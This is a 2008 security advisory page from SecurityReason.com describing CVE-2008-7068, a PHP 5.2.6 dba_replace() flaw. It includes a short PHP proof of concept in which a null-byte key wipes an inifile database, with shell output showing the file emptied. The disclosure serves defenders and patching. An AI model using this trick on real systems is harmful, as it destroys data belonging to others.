SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

PHP 5.2.6 dba_replace() destroying file


Arrow  SecurityAlert : 4649
Arrow  CVE : CVE-2008-7068
Arrow  CWE : CWE-20
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : No
Arrow  Local Exploit : Yes
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
Arrow  Credit : Maksymilian Arciemowicz
Arrow  Published : 28.11.2008
Arrow  Updated : 27.08.2009

Arrow  Affected Software : php:php:4.2
php:php:4.1.3
php:php:4.2.0
php:php:4.0:beta1
php:php:4.0:beta2
php:php:4.0
php:php:4.0.1
php:php:4.0.1:patch1
php:php:4.0.0
php:php:4.0:beta_4_patch1
php:php:4.0:rc1
php:php:4.0:beta3
php:php:4.0:beta4
php:php:4.0.6
php:php:4.0.5
php:php:4.0.4:patch1
php:php:4.0.4
php:php:4.0.3:patch1
php:php:4.0.3
php:php:4.0.2
php:php:4.0.1:patch2
php:php:4.1.2
php:php:4.1.1
php:php:4.1.0
php:php:4.0.7:rc4
php:php:4.0.7:rc3
php:php:4.0.7:rc2
php:php:4.0.7:rc1
php:php:4.0.7
php:php:4.3.10
php:php:4.3.1
php:php:4.3.2
php:php:4.3.11
php:php:4.3.4
php:php:4.3.3
php:php:4.3.6
php:php:4.3.5
php:php:4.2.1
php:php:4.4.8
php:php:4.2.3
php:php:4.2::dev
php:php:4.4.9
php:php:4.2.2
php:php:4.3
php:php:4.2.4
php:php:4.4.5
php:php:4.4.6
php:php:4.4.7
php:php:4.3.0
php:php:4.3.7
php:php:4.3.8
php:php:4.3.9
php:php:4.4.0
php:php:4.4.1
php:php:4.4.2
php:php:4.4.3
php:php:4.4.4
php:php:5.2.6



Arrow  Advisory Content :  

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ SecurityReason.com PHP 5.2.6 dba_replace() destroying file ]

Author: Maksymilian Arciemowicz
http://securityreason.com
Date:
- - Written: 10.11.2008
- - Public: 28.11.2008

SecurityReason Research
SecurityAlert Id: 58
SecurityRisk: Medium

Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/58
Vendor: http://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed
from C, Java and Perl with a couple of unique PHP-specific features thrown
in. The goal of the language is to allow web developers to write
dynamically generated pages quickly.

NOTE:
These functions build the foundation for accessing Berkeley DB style
databases.

dba_replace - Replace or insert entry

- --- 1. dba_replace() destroying file ---
Function dba_replace() are not filtring strings key and value. There is a
possibility the destruction of the file.

# cat /www/dba.hack.php
<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("HOME","/www/",$source);
?>
# cat /www/about.ini
PATH=/
CURR=.
HOME=/home/
# php /www/dba.hack.php
# cat /www/about.ini
PATH=/
CURR=.
HOME=/www/
#

Well.
But, lets try use

# cat /www/dba.ham.php
<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("\0","/www/",$source);
?>
# php /www/dba.ham.php
# cat /www/about.ini
#

Now /www/about.ini, is emtpy.

- --- 2. How to fix ---
Fixed in CVS

http://cvs.php.net/viewvc.cgi/php-src/NEWS?r1=1.2027.2.547.2.1313&r2=1.2027
.2.547.2.1314&

- --- 3. Greets ---
sp3x p_e_a Infospec schain

- --- 4. Contact ---
Author: SecurityReason [ Maksymilian Arciemowicz ]
Email: cxib [ a t] securityreason [d ot ] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (OpenBSD)

iEYEARECAAYFAkkvKDcACgkQpiCeOKaYa9aRUgCgmsbU4uKeq1E+/yyIlQas9V14
e2MAoJobXQNRD8BNiDsHQYSNdOxIyQRc
=Tb8r
-----END PGP SIGNATURE-----


Arrow  References :

http://xforce.iss.net/xforce/xfdb/47316
http://www.securityfocus.com/archive/1/archive/1/498746/100/0/threaded
http://www.securityfocus.com/archive/1/498982/100/0/threaded
http://www.securityfocus.com/archive/1/498981/100/0/threaded
http://www.osvdb.org/52206
http://securityreason.com/achievement_securityalert/58
http://cvs.php.net/viewvc.cgi/php-src/NEWS?r1=1.2027.2.547.2.1313&r2=1.2027.2.547.2.1314&
;



Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.